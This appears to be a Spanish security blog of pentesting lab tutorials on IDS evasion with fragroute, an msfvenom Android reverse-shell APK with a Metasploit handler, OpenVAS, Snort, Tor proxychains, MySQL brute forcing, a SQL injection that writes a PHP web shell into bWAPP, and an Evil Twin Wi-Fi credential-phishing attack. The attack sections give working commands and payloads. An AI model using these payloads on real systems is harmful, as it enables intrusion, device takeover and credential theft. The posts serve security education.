sábado, 26 de mayo de 2018

Tècnicas de evasión de IDS: Modificar TTL con Fragroute

Cuando hacemos un ping hacia cualquier IP,  el Sistema Operativo genera un TTL, generalmente cada SO genera un TTL diferente que nos puede servir para determinar el SO del host que realiza el ping (Ping Request) y el SO del servidor que lo recibe (Ping Reply).

Practica 1: vamos a cambiar el TTL de nuestros pings para tratar de hacer creer a la red de destino que somos un SO diferente del que realmente somos. Ello podría ser útil en algún escenario de pentesting.

Utilizamos para ello el programa FragRoute, este programa fragmenta paquetes para tratar de esquivar un IDS. Vamos a configurar su archivo de configuración:

root@kali: # nano /etc/fragroute.conf
Tenemos un SO Linux con un TTL determinado, vamos a cambiarlo por 64 el cual corresponde generalmente a un SO Machintosh (ver correspondencias generales)

Añadimos esta linea al archivo de configuración:


ip_ttl 64






Guardamos con Ctrl+O e iniciamos fragroute con una IP de destino, por ejemplo:

root@kali: # fragroute -f /etc/fragroute.conf 192.168.1.37
Ahora podemos usar otra consola para realizar un ping al destino:


Fragroute empieza a modificar los paquetes que envia:


Tenemos a la escucha a Tshark con el que comprobamos que efectivamente se ha modificado el TTL (request) en nuestra IP virtual 10.211.55.3:


Si se fallase el ping a posteriori, podemos reiniciar nuestra pila de red con:

root@kali: # /etc/init.d/networking restart
___________

Una de las utilidades de los TTL es poner un TTL corto para que sea descartado después de pasar los tradicionales Firewalls/IDS.

Es una técnica de ataque a un host, el cual reensamblará los paquetes descartando los sobrantes por TTL expirado, esto implica que será el host el único que leerá el código del ataque y no el IDS. Se le conoce como un ataque por fragemntación TCP Chaff con TTL corto.

Existe también evasión de IDS mediante Bad Checksums en la capa TCP y opciones invalidas del paquete que se descartarán en el host destino.

Hoy en día hay IDS-IPS con capacidades avanzadas de análisis para detectar paquetes sospechosos. como por ejemplo  McAfee Network Security Platform . Esta plataforma opera en diferentes capas OSI detectando ataques con técnicas de ofuscación combinadas.

Existe un TEST http online que lanza ataques contra nuestro firewall con la finalidad de probar deteciones. (GitHub)

Es recomendable que el adminstrador del sistema se plantee no permitir fragmentación en la red si no es necesaria por tal de atacar de raiz esta vulnerabilidad.





miércoles, 23 de mayo de 2018

MSFvenom: Acceso remoto a móbiles Android

IMPORTANTE: Se va a realizar una práctica con fines de aprendizaje que demuestra el riesgo que puede significar aceptar una aplicación autoinstalable (APK) desde un origen no verificado.

En este caso el usuario dispone de un móvil Android 4.4.2 con la opción "Descarga de archivos de origenes desconocidos" activada.

1. Vamos a crear un archivo llamado android.apk el cual contendrá un ejecutable no cifrado el cual abrirá una conexión hacia nuestra máquina de nuestra red local:

root@kali: # msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 R > android.apk

2. Una vez creado el archivo lo subimos a uploadfiles.io por ejemplo.

3. Abrimos una sesión de Metasploit en nuestra computadora e introducimos los valores necesarios para poner una IP local y puerto a la escucha:

root@kali: # msfconsole
msf > use multi/handler
msf > set PAYLOAD android/meterpreter/reverse_tcp
msf > set LHOST 192.168.1.11
msf > set LPORT 4444
msf > run 
4. En el móbil Android el usuario se descarga el archivo que subimos a uploadfiles.io y lo ejecuta a través del explorador de archivos. En el momento de ejecutarlo se abrirá una conexión local contra nuestra máquina:




A partir de este momento podemos ejecutar variedad de comandos contra el dispositivo como por ejemplo uno para volcar el registro de llamadas. para ver todos los comandos disponibles teclear "?"

meterpreter > dump_calllog

Para crear una conexión de un movil remoto a nuestra red interna se habrá de crear una regla en nuestro router que permita conexiones al puerto que hemos elegido 4444 con nuestra IP pública.

________

Crear un backdoor en Windows tiene un procedimiento similar, en este caso además aplicamos un encoder con la opción -e para ofuscar el código y esquivar el antivirus.

Además, usando el parámetro -i en  MSFvenom creará más iteraciones que puede ayudar a evadir el AV.








viernes, 11 de mayo de 2018

OpenVAS: Instalación, configuración y prueba

Vamos a instalar y configurar el escanner de vulnerabilidades de red y aplicaciones OpenVAS para luego lanzar una prueba a un único equipo de red, en este caso contra un AP de Cisco.

Es muy recomendable lanzarlo contra objetivos únicos o segmentos de red controlados ya que si lo hacemos contra toda la red es muy probable que se cuelgen los servidores, estaciones de trabajo, electrónica de Red, etc.

Instalación desde Kali Linux: Descargar el sofware e instarlo:

root@kali: # apt-get update
root@kali: # apt-get install openvas
Una vez instalado vamos a hacer un test de la configuración de OpenVAS:

root@kali: # openvas-check-setup

En este caso el test nos indica que actualizamos las definiciones de red NVT con el comando:

root@kali: # greenbone-nvt-sync
Una vez realizados los tests con éxito, ejecutamos openVAS:

root@kali: # openvas-start 
Se iniciarán los servicios de openVASy se abrirá automáticamente una ventana del explorador web con la interfaz Web. en la siguente captura se observa como se crearon las conexiones loopback:



Definir el usuario y contraseña para acceder a la interfaz web:

root@kali: # openvasmd --create-user=root --role=Admin && openvasmd --user=root --new-password=toor
Accedemos a la web con usuario: root password: toor
A continuación hacemos un scan inmediato la IP del AP, Ir al menú CONFIGURATION/TARGETS / New Target (click al icono superior izquierda en forma de estrella) / luego ir al menú SCANS / TASKS y click al icono superior iquierda en forma de estrella "New task" y seleccionar como target el que acabamos de definir en la configuración de targets. Pulsar Create e iniciar.



Pasados unos minutos vemos que ha detectado una vulnerabilidad "Form basic validation" que significa que el acceso con credenciales al AP no esta cifrado por el puerto 80:

Comprobamos con Tshark que efectivamente el trafico no esta cifrado a la hora de enviar el Usuario y contraseña al AP:

Ejemplo de un caso en el que capturamos el usuario y contraseña de una conversación previamente capturada con Tshark en una conexión sin cifrar; el siguente comando nos permite visulaizar el binario directamente:

root@kali: # less captura.cap


OpenVAS nos va ayudar a conocer  los puntos dèbiles de nuestra red y de esta forma podremos corregir sus vulnerabilidades.

_____   _____


Resumen con capturas de pantala de las fases que van desde el descubrimiendo de la vulnerabilidad con OpenVAS a su explotación con Metaesploit:

Resultados OpenVAS
En OpenVAS: Ver la Referencia CVE en los Resultados de las pruebas, apartado References
Consultar Referencia CVE en Duckduckgo.com por ejemplo.
Buscar  CVE para aplicar en Metaesploit en cvedetails.com y ver el apartado Metaexploit Modules.
Buscar el exploit con el CVE en Metaesploit con la numeración mostrada.







miércoles, 9 de mayo de 2018

Configuración y prueba de IDS Snort


Vamos a realizar una práctica de detección de paquetes ICMP (Ping) que circulen por nuestra Intranet con Snort.


El primer paso es configurar el archivo de configuración de Snort con la IP y mascara de la red que queremos proteger.



root@kali: # nano /etc/snort/snort.conf 
A continuación vamos a personalizar una RULE para detectar pings dentro de nuestra red Interna:
abrir el archivo siguente con el editor nano:

root@kali: # nano /etc/snort/rules

 Introducimos los valores de la imàgen superior, "alert" será la alerta a definir, "ICMP" el protocolo, "any any -> any any" significa cualquier IP/puerto de origen o destino "msg" el mensaje que saldrá en pantalla (o archivo generado) "sid" la clasificación.

ahora ejecutamos snort con la siguente orden:

root@kali: # snort -A console -i eth0 -c /etc/snort/snort.conf  
En este caso práctico usamos la salida -A console para visualizar los resultados directamente por consola, pero si quisieramos guardar los resultados en un archivo deberiamos escribir:

root@kali: # snort -l ./log -b -c /etc/snort/snort.conf
Dónde "-l ./log" es para indicarle a snort que cree un archivo tipo log en la carpeta log, "-b" es para procesar a nivel de bits y así ahorrar tiempo de análisis a Snort, y "-c" es para aplicar la configuración guardada en el archivo snort.conf.

Prueba: vamos a usmear la red haciendo ping a algún disponsitivo de la red interna:


 Snort detecta esta actividad y la revela via consola o via log:
 Resultado por consola:


 Resultado por archivo log:

root@kali: # cat alert | less 

en el directorio /log se generan dos archivos el alert (imagen superior) y  snort.log.xxxx que es el volcado completo para analizar posteriormente.

Para salir de Snort, pulsar Control + C.

Una ventaja del guardado en log en un servidor es que es posible trabajarlo en un sistema SIEM.







martes, 8 de mayo de 2018

Uso de Sockets con ProxyChains en Kali

En esta práctica vamos a generar conexiones (sockets) que pueden ser de tipo HTTP, FTP, Nmap, DNS, etc a través de Proxychain pasando por la red TOR hasta un destino.

Asegurarse que "proxychain" y "tor" están instalados porque en las versiones ARM de Kali no lo están.



El primer paso es acceder al archivo de configuración en la siguente ruta:




root@kali: # nano /etc/proxychains.conf
Activamos la opción "dynamic_chain" borrando el slash y nos aseguramos que la opción proxy_dns esté activada (ver imagen superior). Finalmente añadimos "socks5 127.0.0.1 9050" que será la conexión loopback hacia TOR. 


Comprobar el estado del servidor TOR y reiniciarlo:

root@kali: # service tor status
root@kali: # service tor stop
root@kali: # service tor start
Vamos a navegar con lynx a través de proxychains hasta duckduckgo.com:

root@kali: # proxychains lynx duckduckgo.com


En la captura de pantalla se observan las conexiones al proxychain correctas y a su vez la interfaz del explorador de Internet Lynx. 

Vamos a realizar la siguente búsqueda en la web cargada de duckduckgo.com para comporbar que realmente estamos navegando a través de TOR: escribir "dns leak test" en el área de búsqueda de  (ver imágen superior)

A continuación comprobamos que nuestra IP es un nodo de salida anónimo de la red TOR:





lunes, 7 de mayo de 2018

Práctica de Seguridad: Fuerza bruta contra BBDD MySQL





En esta práctica vamos a intentar entrar en una base de datos nuestra red local (sin firewall delante).
Antes habremos de haber instalado un servidor WAMP con bWAPP el cual tiene una BBDD MySQL.


Paso uno: Exploración:
Hacemos un escaneo de puertos del host local:

root@kali: # nmap 192.168.1.39
nos debolverá como reslutaado el puerto que buscamos:

Nmap scan report for 192.168.1.39
3306/TCP open mysql
A continuación usaremos Metaexploit para probar contraseñas de Usuarios y Passwords contra ese puerto:

Primero ejecutamos metaexploit en Kali Linux:

root@kali:#  msfconsole
Buscaremos el modulo auxiliar para esta tarea:

Ejecutaremos un comando de reconomiento para saber la versión de MySQL:

msf> use auxiliary/scanner/mysql/mysql_version 
luego ejecutaremos info para saber los parametros que necesita el comando:
y pondremos la IP del host a atacar:
y por último lo ejecutamos:
msf> auxiliary(scanner/mysql/mysql_version) > info
msf> auxiliary(scanner/mysql/mysql_version) > set RHOSTS 192.168.1.39
msf> auxiliary(scanner/mysql/mysql_version) > run

 Nos devolverá la version.

Buscamos la rutina auxiliar que nos ayudará a realizar la prueba de contraseñas:

msf>  use auxiliary/scanner/mysql/mysql_login 
Introducimos los parametros necesarios, host a atacar y archivo de texto (diccionario) que contiene los usuarios/contraseñas y lo ejecutaremos:

msf>  auxiliary(scanner/mysql/mysql_login) set RHOSTS 192.168.1.39
msf>  auxiliary(scanner/mysql/mysql_login) set PASS_FILE passwords.txt
msf>  auxiliary(scanner/mysql/mysql_login) set USER_FILE users.txt
msf>  auxiliary(scanner/mysql/mysql_login) run
Resultado:

Los txt los recoge de la ruta en la que esta el promt, en este caso en el mismo diretorio de trabajo /root.

Una vez conseguidos el usuario y contraseña, pasamos a utilizar enumeración con Metaesploit para conseguir información del servidor,  usuarios con privilegios, directorios que permiten escritura, certificados, etc.




Para finalmente entrar en la base de datos bastaría con poner el usuario y contraseña que conseguimos antes, y poder ver las bases de datos con show databases por ejemplo.

root@kali: # mysql -h 192.168.1.39 -u root -p


Práctica de seguridad: Ataque Injección SQL a Formulario Web




En esta práctica vamos a atacar a una website hospedada en nuestro ordenador a través de un formulario de búsqueda. Utilizaremos bWAPP, se trata de un website lleno de bugs expresamente para que podamos practicar.

El primer paso es instalar e iniciar un servidor web (Apache, MySQL, PHP) en nuestro ordenador , en este caso utilizaremos XAMP en una maquina Machintosh (Unix). Descargar aquí.

El siguente paso es instalar el website bWAPP: Descargar aquí.

A continuación configuraremos el servidor con el mínimo de seguridad para emular una mala configuración administrativa.

Dar todos los permisos a las carpetas:
  1. chmod 777 passwords/
    chmod 777 images/
    chmod 777 documents/
    chmod 777 logs/
Modificarmos el siguente archvivo settings.php de bWAPP y dejamos el password en blanco:
  1. // Database connection settings
    $db_server = "localhost";
    $db_username = "root";
    $db_password = "";
    $db_name = "bWAPP";
Y procedemos a instalar ejecutando el archivo install.php  ejemplo: http://localhost/bWAPP/install.phpy hacemos clic en "clic here to install",

ir a http://localhost/bWAPP/login.php y logearse con: bee/bug

                                             ________________________

Una vez concluida la instalación, podemos proceder a realizar la práctica:

Primer paso:
Seleccionamos en el desplegable este tipo de ataque: SQL Injection (GET/Search)

Nos llevará a un formulario de tipo entrada de datos (GET), en el cual probaremos el siguente ataque (sin entrar en detalle) el cual generará un archivo que devolverá un terminal desde la carpeta que suele tener premisos de escritura llamada /images :

  1. a' UNION SELECT 1, "<?php system($_GET['cmd']) ?>",1,1,1,1,1 INTO OUTFILE "/Applications/XAMPP/xamppfiles/htdocs/bWAPP/images/shell.php" -- -
     


la sentencia antearior generará un archivo con un script en PHP que nos devolverá un terminal de comandos.
Ejecutaremos el siguente comando de prueba desde la barra de búsqueda (ver resultado imagen inferior) se trata del comando "traceroute -m 3 google.com" que nos devolverá la ruta hasta la salida a Internet de la red atacada.

http://192.168.1.39/bWAPP/images/shell.php?cmd=traceroute%20-m%203%20google.com

viernes, 4 de mayo de 2018

Práctica de seguridad: Ataque Evil Twin contra AP con clientes

ATENCIÓN: Esta práctica se recomienda realizarla contra equipos de nuestra propiedad no interfiriendo equipos ajenos.

NOTA: Las antenas de sensibilidad media tales como la usada en esta práctica (TP-Link WN722N con chip Atheros y antena de 9db USB) no dá buenos resultados por su baja potencia de injección de tráfico.

Este ataque consiste en desautorizar a un cliente hasta que se desconecte de su AP para ser trasladado a una Web de validación de credenciales, la cual le solicitará al usuario su clave de acceso de su AP.

Todo se automatiza a través del script airgeddon.sh. el cual ahorra mucho tiempo que de la forma tradicional a través del suite aircrack-ng en Kali Linux.

El primer paso es instalar airgeddon y luego ejecutarlo:
  1. root@kali:-#git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git 
    root@kali:-#cd airgeddon
    root@kali:-#bash ./airgeddon.sh
instalar los paquetes que indica el programa que faltan con:
  1. root@kali:-#apt-get install paquete_que_falte
poner la tarjeta wireless en modo monitor:
  1. root@kali:-#airmon-ng start wlan0
se creará la interfaz wlan0mon.

cambiar el mac a una aleatoria:

  1. root@kali:-#ifconfig wlan0mon down
    root@kali:-#macchanger wlan0mon -r
    root@kali:-#ifconfig wlan0mon up

Seleccionar la interfaz wlan, selecionar la opción 7 "Evil atacs menu"
seleccionar la opción 9, esta opción crea un portal web cautivo el cual se le pedirán las credenciales.
seleccionar el BSSID objetivo, en el siguente menú "Evil Twin deauth" selecconar 2 (deautentificacion a través de Aireplay) en "DoS persuit mode" e "Internet interface metod" decir no.

A continuación se ejecutará el siguente script, que tal como se ve en la captura inferior consta de un AP, el sistema de Routing iptables, un DHCP, un injector de trafico de broadcast de desautentificacion de clientes, un servidor web, un servicio de DNS spoofing, y un monitor de control de conexiones.

Las credennciales se guardarán en un archivo en el escritorio.


El script funciona correctamente en una Raspberry Pi 3 con Kali ARM. Recordar que sólo funcinará  bajo interfaz gràfica, por lo cual habra que activar el modo grafico con el comando vncserver para conectarse por consola a travès de la tablet o startx para consola directa si hemos iniicado la Raspy con teclado/ratón/pantalla.


Autor: Roland / Operador de Red